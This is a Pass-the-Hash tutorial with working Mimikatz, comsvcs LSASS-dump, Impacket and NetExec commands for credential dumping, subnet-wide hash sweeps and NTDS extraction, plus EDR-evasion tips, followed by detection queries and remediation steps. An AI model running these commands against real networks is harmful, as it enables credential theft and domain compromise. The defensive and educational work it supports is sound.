
Pass-the-Hash Attacks
Pass-the-Hash exploitation guide for lateral movement using NTLM hashes without cracking passwords.
Introduction
Pass-the-Hash (PtH) is a credential reuse technique that exploits the NTLM authentication handshake. When a client authenticates via NTLM, it never transmits the plaintext password — instead it sends an NT hash response derived from a server-issued challenge. The server performs the same derivation independently and compares results. Because the hash itself drives the response calculation, possession of the hash is sufficient to authenticate. No cracking, no plaintext needed.
The NT hash is an unsalted MD4 digest of the Unicode password. Every Windows system stores these hashes in the Security Account Manager (SAM) or in LSASS memory for cached credentials. A local administrator hash compromised on one workstation is often reused across the entire fleet due to standard image deployment — a single hash can yield lateral movement to hundreds of machines without any additional credential material.
PtH targets NTLM specifically. Kerberos is unaffected in theory, but many environments fall back to NTLM when Kerberos isn't available, when targeting IP addresses directly, or when SMB authentication is forced over NTLM by tool behavior. Understanding when NTLM is invoked is the key to knowing where PtH applies.
Authorization Required
Pass-the-Hash techniques demonstrated here are for authorized penetration testing and red team engagements only. Performing these actions without explicit written authorization is a criminal offense under the Computer Fraud and Abuse Act and equivalent laws internationally. Always operate within the scope of a signed rules of engagement document.
Impact
- Unauthenticated lateral movement: Valid NT hash grants shell access to any system where that account exists with the same password — no cracking delay
- Domain-wide compromise from a single hash: Built-in Administrator (RID 500) hashes reused across machines via imaging enable immediate fleet-wide access
- Privilege escalation path: Local admin hash on a workstation can lead to a DA-privileged account if admins authenticate interactively on that host
- Persistence without credentials: Attackers maintain access even after password changes if the new hash is re-harvested from LSASS
- Bypasses MFA on legacy protocols: NTLM authentication does not support multi-factor enforcement; SMB/WMI/DCOM sessions bypass MFA controls
- Silent network traversal: PtH over SMB or WMI leaves minimal forensic trace compared to credential stuffing or brute force
Technical Details
NTLM NTLMv2 challenge-response works as follows: the server sends a random 8-byte challenge, the client computes an HMAC-MD5 of that challenge using the NT hash as the key, and returns the result. The hash is the secret. LSASS holds NT hashes in memory for SSO — processes can request network authentication tokens without re-prompting the user. When an attacker gains SYSTEM or SeDebugPrivilege on a host, LSASS memory is readable via Mimikatz or direct process injection, yielding NT hashes for every cached session.
The sekurlsa::logonpasswords Mimikatz module walks the LSASS process heap and parses the undocumented msv1_0 authentication package structures, extracting NTLM hashes, Kerberos keys, and in older configurations, cleartext passwords stored by WDigest. Modern Windows (8.1+) disables WDigest by default, so NT hashes are the typical output.
Once a hash is obtained, tooling replaces the local authentication context with the captured hash to impersonate the victim account. On Windows this is done via sekurlsa::pth, which spawns a new process with a fabricated logon session containing the injected hash. From Linux, Impacket and NetExec inject the hash directly into SMB/WMI/DCE-RPC sessions using the pass-the-hash variant of the NTLM handshake.
Dump Hashes from LSASS with Mimikatz
Requires SYSTEM or SeDebugPrivilege. Defender and EDR products heavily monitor for Mimikatz signatures — consider process injection or LSASS dump alternatives in production assessments.
# Elevate to SYSTEM first if running as local admin
mimikatz # privilege::debug
# Output: Privilege '20' OK
mimikatz # sekurlsa::logonpasswords
# Relevant output fields:
# * Username : Administrator
# * Domain : CORP
# * NTLM : aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# ^^ this is the NT hash ^^For a quieter approach, dump the LSASS process to disk and parse offline:
# Task Manager → Details → lsass.exe → Create Dump File
# Or via comsvcs.dll (LOLBin):
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Windows\Temp\lsass.dmp full
# Parse offline with Mimikatz:
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswordsSpawn Impersonation Process with sekurlsa::pth
sekurlsa::pth creates a new process that inherits a fabricated NTLM logon session. Use this to run tools as the target user from a Windows attacker host.
mimikatz # sekurlsa::pth /user:Administrator /domain:CORP /ntlm:31d6cfe0d16ae931b73c59d7e0c089c0 /run:cmd.exe
# Output: user: Administrator
# domain: CORP
# program: cmd.exe
# impers.: no
# | PID 8472
# | TID 8476
# \_ * Process is now running with the alternate credentials
# cmd.exe now runs as Administrator with the injected hash
# Lateral movement:
net use \\DC01\C$ /user:CORP\Administrator
dir \\DC01\C$\UsersLateral Movement via SMB with Impacket
Impacket tools accept hashes directly in LM:NT format. The LM portion is ignored — pass aad3b435b51404eeaad3b435b51404ee as a placeholder.
# psexec: uploads service binary via SMB, starts it via SCM
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
CORP/Administrator@192.168.1.10
# smbexec: no binary upload — executes via cmd.exe bat files
python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
CORP/Administrator@192.168.1.10
# wmiexec: uses WMI for execution — no SCM interaction, quieter
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
CORP/Administrator@192.168.1.10
# atexec: task scheduler execution
python3 atexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 \
CORP/Administrator@192.168.1.10 "whoami"Bulk Network Sweep with NetExec
NetExec (formerly CrackMapExec) tests a hash against a range of hosts simultaneously. Useful for confirming hash reuse across a subnet.
# Test hash against entire subnet
netexec smb 192.168.1.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0
# Successful authentication shows [+] / Pwn3d!
# [+] 192.168.1.10 (name:WS01) (domain:CORP) (signing:False) Administrator 31d6cfe0... Pwn3d!
# [+] 192.168.1.15 (name:WS02) (domain:CORP) (signing:False) Administrator 31d6cfe0... Pwn3d!
# Execute command on all matching hosts
netexec smb 192.168.1.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -x "hostname"
# Dump SAM from all accessible hosts (hash harvesting cascade)
netexec smb 192.168.1.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --sam
# WinRM access (port 5985)
netexec winrm 192.168.1.10 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0Attack Tools
Mimikatz is the canonical Windows credential extraction tool. For PtH specifically, sekurlsa::pth is the primary technique.
# Step 1: Gain debug privilege
mimikatz # privilege::debug
# Step 2: Dump all logon sessions
mimikatz # sekurlsa::logonpasswords
# Step 3: Spawn process with target hash
mimikatz # sekurlsa::pth /user:jsmith /domain:CORP.LOCAL \
/ntlm:e19ccf75ee54e06b06a5907af13cef42 \
/run:"powershell.exe -nop -w hidden"
# Step 4: Overpass-the-Hash — convert NT hash to Kerberos TGT
# Useful when Kerberos is required (e.g., SMB signing enforced)
mimikatz # sekurlsa::pth /user:jsmith /domain:CORP.LOCAL \
/ntlm:e19ccf75ee54e06b06a5907af13cef42 \
/run:cmd.exe
# Then request TGT in spawned process:
# klist → klist purge → net use \\DC\share (triggers Kerberos TGT request)Mimikatz detection is high — AV/EDR signature rate is near-100%. Use Invoke-Mimikatz (AMSI bypass required), SafetyKatz, or direct LSASS dump + offline pypykatz parsing for operational stealth.
pip install pypykatz
pypykatz lsa minidump lsass.dmp
# Output:
# == MSV ==
# Username: Administrator
# Domain: CORP
# NT: 31d6cfe0d16ae931b73c59d7e0c089c0Impacket's suite provides Python-based PtH across multiple protocols. Hash format is always LMHASH:NTHASH — use the placeholder LM hash shown below.
# Hash-only auth shorthand (NT hash only):
# -hashes :NTHASH also accepted
python3 psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 CORP/Administrator@10.10.10.5
# secretsdump — remote SAM/NTDS dump via PtH (cascading hash harvesting)
python3 secretsdump.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
CORP/Administrator@10.10.10.5
# Output:
# [*] Dumping local SAM hashes (registry secrets)
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# jsmith:1001:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
# dcomexec — DCOM-based execution, different event trail than psexec/wmiexec
python3 dcomexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
CORP/Administrator@10.10.10.5 "ipconfig"
# smbclient — interactive SMB share access via PtH
python3 smbclient.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 \
CORP/Administrator@10.10.10.5NetExec handles multi-host enumeration and is the standard for confirming hash validity across a network range.
# Validate hash — check for Pwn3d! in output
netexec smb 10.10.10.0/24 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --continue-on-success
# Command execution
netexec smb 10.10.10.5 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 \
-x "net localgroup administrators"
# PowerShell execution
netexec smb 10.10.10.5 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 \
-X "Get-Process lsass"
# Dump SAM hashes from accessible hosts
netexec smb 10.10.10.5 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --sam
# Dump LSA secrets
netexec smb 10.10.10.5 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --lsa
# NTDS.dit dump from domain controller
netexec smb 10.10.10.1 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 --ntds
# WMI protocol (avoid SMB-based detection)
netexec wmi 10.10.10.5 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0 -x "whoami"
# RDP check (restricted admin mode must be enabled)
netexec rdp 10.10.10.5 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0Detection
PtH over NTLM produces Event ID 4624 (Logon Success) with Logon Type 3 (Network) and Authentication Package NTLM. The distinguishing characteristic is that legitimate interactive sessions produce Logon Type 2 or 10, while service-to-service NTLM shows consistent source hostnames. Anomalous NTLM Type 3 logons from unexpected source IPs or to multiple hosts in rapid succession are the primary detection signal.
| Event ID | Source | Description |
|---|---|---|
| 4624 | Security | Successful logon — filter on Logon Type 3 + NTLM auth package |
| 4648 | Security | Explicit credential logon — fires when sekurlsa::pth spawns process |
| 4672 | Security | Special privileges assigned — follows 4624 for privileged accounts |
| 4776 | Security | DC attempted to validate credentials (NTLM) — on DCs only |
| 10 | Sysmon | Process accessed lsass.exe — LSASS memory read for hash extraction |
| 1 | Sysmon | Process creation — child process spawned by Mimikatz sekurlsa::pth |
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4624)]]
and
*[EventData[Data[@Name='LogonType']='3']]
and
*[EventData[Data[@Name='AuthenticationPackageName']='NTLM']]
and
*[EventData[Data[@Name='TargetUserName']!='ANONYMOUS LOGON']]
</Select>
</Query>
</QueryList>index=windows EventCode=4624 Logon_Type=3 Authentication_Package=NTLM
NOT Account_Name="ANONYMOUS LOGON"
| stats count dc(dest) AS unique_hosts by src_ip, Account_Name
| where unique_hosts > 3
| sort -unique_hostsSecurityEvent
| where EventID == 4624
| where LogonType == 3
| where AuthenticationPackageName == "NTLM"
| where AccountName != "ANONYMOUS LOGON"
| summarize HostCount=dcount(Computer), EventCount=count()
by AccountName, IpAddress, bin(TimeGenerated, 5m)
| where HostCount > 3
| order by HostCount descFor LSASS access detection, Sysmon Event ID 10 with TargetImage containing lsass.exe and GrantedAccess value 0x1010 or 0x1fffff indicates credential harvesting. Correlate this with subsequent 4624 Type 3 NTLM logons from the same host within a short window to confirm PtH post-dump activity.
NetExec sweeps are detectable via authentication velocity: multiple 4624/4776 events across different destination hosts from a single source within seconds, all using NTLM with the same account.
Remediation
Protected Users Security Group is the highest-impact single mitigation. Members of this group cannot authenticate via NTLM — Kerberos only. This directly prevents PtH against those accounts. Add all tier-0 and tier-1 accounts (Domain Admins, schema admins, service accounts with elevated access):
# Add single account
Add-ADGroupMember -Identity "Protected Users" -Members "jsmith"
# Add all Domain Admins
Get-ADGroupMember "Domain Admins" | ForEach-Object {
Add-ADGroupMember -Identity "Protected Users" -Members $_
}
# Verify membership
Get-ADGroupMember "Protected Users" | Select-Object Name, SamAccountNameTest Protected Users compatibility before mass enrollment — WinRM, some service configurations, and delegation-dependent services break when NTLM is unavailable.
Credential Guard isolates LSASS in a Hyper-V protected Virtual Trust Level (VTL1) container. The NT hash is never accessible to processes running in VTL0, eliminating sekurlsa::logonpasswords entirely on supported hardware:
# Enable Device Guard and Credential Guard
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
-Name "EnableVirtualizationBasedSecurity" -Value 1 -Type DWord
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard" `
-Name "RequirePlatformSecurityFeatures" -Value 1 -Type DWord
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "LsaCfgFlags" -Value 1 -Type DWordCredential Guard requires UEFI with Secure Boot, VT-x/AMD-V, SLAT, and 64-bit Windows 10/11 Enterprise or Server 2016+.
LAPS (Local Administrator Password Solution) eliminates the shared local admin hash problem. Each machine gets a unique, randomly generated local administrator password managed by AD:
# Check LAPS installation status
Get-ADComputer WS01 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
# Read LAPS password (requires delegated permission)
Get-ADComputer WS01 -Properties ms-Mcs-AdmPwd | Select-Object ms-Mcs-AdmPwd
# Windows LAPS (built into Windows 11 22H2+ and Server 2025)
Get-LapsADPassword -Identity WS01 -AsPlainTextDisable LM hashes — LM hashes are computationally trivial to crack and enable PtH against legacy targets:
# GPO: Computer Configuration > Windows Settings > Security Settings >
# Local Policies > Security Options >
# "Network security: Do not store LAN Manager hash value on next password change" = Enabled
# Or via registry:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" `
-Name "NoLMHash" -Value 1 -Type DWordSMB Signing does not prevent PtH directly, but eliminates NTLM relay attacks that can be chained with PtH for additional lateral movement. Enforce signing on all DCs (default) and workstations (requires GPO):
# Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options
# "Microsoft network client: Digitally sign communications (always)" = Enabled
# "Microsoft network server: Digitally sign communications (always)" = Enabled
# Verify signing status
Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignatureTiered administration model prevents credential exposure across security tiers. Domain Admins should only authenticate to Tier 0 assets (DCs, PKI). Workstation admins authenticate only to workstations. Cross-tier authentication means Tier 0 hashes appear in LSASS on Tier 2 workstations — the root cause of most PtH escalation chains.
References
MITRE ATT&CK Techniques
- T1550.002 - Use Alternate Authentication Material: Pass the Hash — Core PtH technique
- T1003.001 - OS Credential Dumping: LSASS Memory — Hash extraction from LSASS
- T1021.002 - Remote Services: SMB/Windows Admin Shares — Lateral movement channel for PtH
Tools Documentation
- Mimikatz — Windows credential extraction and PtH toolkit
- Impacket — Python SMB/WMI/DCE-RPC PtH toolset
- NetExec — Network-wide PtH validation and execution
- pypykatz — Python Mimikatz implementation for offline LSASS parsing
- Microsoft LAPS — Local Administrator Password Solution documentation
- Credential Guard deployment — Microsoft deployment guide
Next Steps
NTLM Relay Attacks: Modern Lateral Movement Techniques
In-depth exploration of Net-NTLMv2 relay attacks for lateral movement and privilege escalation, including SMB and LDAP relay scenarios with Responder and ntlmrelayx.
Pass-the-Ticket: Kerberos Ticket Hijacking
Pass-the-Ticket attack technique for lateral movement by exporting and importing Kerberos tickets from memory.